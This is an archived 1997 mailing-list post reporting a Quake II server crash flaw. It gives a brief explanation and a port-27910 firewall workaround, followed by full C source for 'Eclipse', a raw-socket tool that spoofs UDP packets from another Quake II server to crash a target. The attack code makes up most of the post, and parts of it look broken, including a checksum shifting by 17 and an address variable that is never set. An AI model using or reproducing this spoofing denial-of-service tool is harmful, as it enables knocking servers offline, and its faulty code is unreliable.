More Quake II Quirks

From: profound darkness (peedeeat_private)
Date: Thu Dec 25 1997 - 20:53:11 PST

  • Next message: Kool Hercz: "Re: Quake II Remote Denial of Service"

    Hello, this is a followup post to my previous message.
    
    In addition to the spoofed udp packets of 127.0.0.1, the attacker can also
    spoof udp packets to the Quake II server port from another Quake II
    server with the originating port the same as the Quake II server.
    
    This will make the target server ask for a connection from the spoofed
    Quake II server and the spoofed Quake II server will accept therefore
    sending a Connect $ making Quake II crash.
    
    There is no official patch for this bug yet, however, for a temporary fix
    you could firewall all connectiontions comming to your computer on port
    27910 with a source port of 27910 or other similar Quake II ports.
    
    I have included source code to exploit this vulnerability, please do not
    use it for malicious intent.
    
    Thanks go out to Jordy for comming up with the idea for the fix, as his
    server is the only one up for hours on end. =)
    
    /*
    
      Eclipse
      Quake II Denial of Service II
      Code by profound darkness <peedeeat_private>
    
    */
    
    #include <string.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/time.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_udp.h>
    #include <netinet/in_systm.h>
    #include <netinet/protocols.h>
    
    FILE *hemroids;
    
    struct iphdr  *ip;
    struct udphdr *udp;
    struct sockaddr_in sinner;
    
    unsigned long destination;
    
    char *packet;
    int   flag;
    
    void usage(char *proggy) {
      printf("\nUsage: %s <argument> <argument> <argument> <argument>\n\n", proggy);
      printf(" <argument> : Quake II server to spoof\n");
      printf(" <argument> : Port to send udp packets to\n");
      printf(" <argument> : Number of packets to send\n");
      printf(" <argument> : Quake II server to crash\n\n");
      exit(0);
    }
    
    char lookup(char *hostaddy) {
      struct hostent *he;
      he = gethostbyname(hostaddy);
      if (he) {
        memset(&sinner, 0, sizeof(struct sockaddr_in));
        memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
        sinner.sin_family = AF_INET;
        sinner.sin_addr.s_addr = inet_addr(hostaddy);
        sinner.sin_family = he->h_addrtype;
      } else {
        printf("\"%s\" is an unknown hostname.\n", hostaddy);
        flag = 1;
        return 0;
      }
      return ((unsigned long) he->h_addr);
    }
    
    unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
    {
      register int lenny = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
    
      while (lenny > 1) {
        sum += *w++;
        sum += *w++;
        lenny -= 2;
      }
    
      if (lenny == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
      }
    
      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
    }
    
    void buildpacket(char *monster, int dport, int sport, int numpacks, char *sourceguy) {
      int sock, counter;
    
      packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip = (struct iphdr *) packet;
      udp = (struct udphdr *) (packet + sizeof(struct iphdr));
      memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
    
      ip->saddr = lookup(sourceguy);
      ip->daddr = destination;
      ip->version = 4;
      ip->ihl = 5;
      ip->ttl = 255;
      ip->protocol = IPPROTO_UDP;
      ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
      ip->check = in_cksum(ip, sizeof(struct iphdr));
      udp->source = htons(sport);
      udp->dest = htons(dport);
      udp->len = htons(sizeof(struct udphdr) + 1024);
    
      sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    
      for(counter=0;counter!=numpacks;counter++) {
        if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
          perror("SendPacket");
          exit(0);
        }
        usleep(1);
      }
    }
    
    char main(int argc, char *argv[]) {
      int  count, sender;
      char hostmask[100];
    
      if (argc < 5) usage(argv[0]);
    
      if (getuid()!=0) {
        printf("This program requires root.\n");
        exit(0);
      }
    
      printf("Attempting to resolve %s.\n", argv[1]);
      lookup(argv[1]);
      printf("Attempting to resolve %s.\n", argv[4]);
      lookup(argv[4]);
      if(flag == 1) goto doot;
      printf("Building %s packets & sending to %s:%s from %s:%s!\n", argv[3], argv[4], argv[2], argv[1], argv[2]);
      buildpacket(argv[4], atoi(argv[2]), atoi(argv[2]), atoi(argv[3]), argv[1]);
      doot:
    
      if(flag != 1) {
        printf("Thanks for using eclipse!\n\n");
      }
    
      fclose(hemroids);
      exit(0);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:37:32 PDT